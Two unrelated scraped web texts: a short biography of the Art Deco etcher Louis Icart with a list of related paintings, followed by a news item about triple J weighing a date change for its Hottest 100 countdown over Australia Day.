1920s Icart, working for both publications and major fashion and design studios, had become very successful, both artistically and financially. His etchings reached their height of brilliance in this era of Art Deco, and Icart had become the symbol of the epoch. Yet, although Icart has created for us a picture of Paris and New York life in the 1920s and 1930s, he worked in his own style, derived principally from the study of eighteenth-century French masters such as Jean Antoine Watteau, François Boucher and Jean Honor?? Fragonard. In Icart's drawings, one sees the Impressionists Degas and Monet and, in his rare watercolors, the Symbolists Odilon Redon and Gustave Moreau. In fact, Icart lived outside the fashionable artistic movements of the time and was not completely sympathetic to contemporary art. Nonetheless, his Parisian scenes are a documentation of the life he saw around him and they are nearly as popular today as when they were first produced. In 1914 Icart had met a magical, effervescent eighteen-year-old blonde named Fanny Volmers, at the time an employee of the fashion house Paquin. She would eventually become his wife and a source of artistic inspiration for the rest of his life.
Related Paintings to Louis Lcart :.
| Joaquin Sorolla y Bastida6 | Emanuel de Witte - The Oude Kerk in Amsterdam during a Service | Sir Galbraith Lowry Cole by William Dyce | Claude Monet 011 (6) | Hans Memling - Saint John the Baptist | | Flare of command in hand, fire in the sea to the backs | Autumn Feast | Ladies sitting | Portrait of the artist's wife | View of the City of Zaragoza |


Following increasing public backlash about triple J's annual Hottest 100 falling on the controversial date of January 26th – Australia Day – the station are currently in "serious talks" about changing the date of the beloved music poll. The decision is slated to be handed down later this week, Pedestrian reports.
Massive news! Triple J are currently in "serious talks" about moving the date of the Hottest 100. The decision is said to be made later this week.
Pedestrian have revealed that there have been multiple "closed door meetings between ABC bigwigs" about the decision.
Triple J have also been reaching out to particular Indigenous Australian artists for their opinion on the debate; and there has been all-staff conversation on the topic between ABC employees.
The news comes just a week after The Australian published a scathing op-ed berating triple J's "anti-establishment ethos"; and after Melbourne man Brendan Busch launched a competition aimed at pressuring the station to change the date of the Hottest 100 whereby the winner would receive a ticket to Falls Festival if they successfully lobbied triple J into caving, as reported by Fasterlouder.
Whatever the outcome for the Hottest 100, the conversation is an important one, bringing to light well-overdue discourse about the nature of Australia Day – or Invasion Day, however you want to look at it – on a platform that invites contribution from young Australians as much as it does the more seasoned social and political commentators.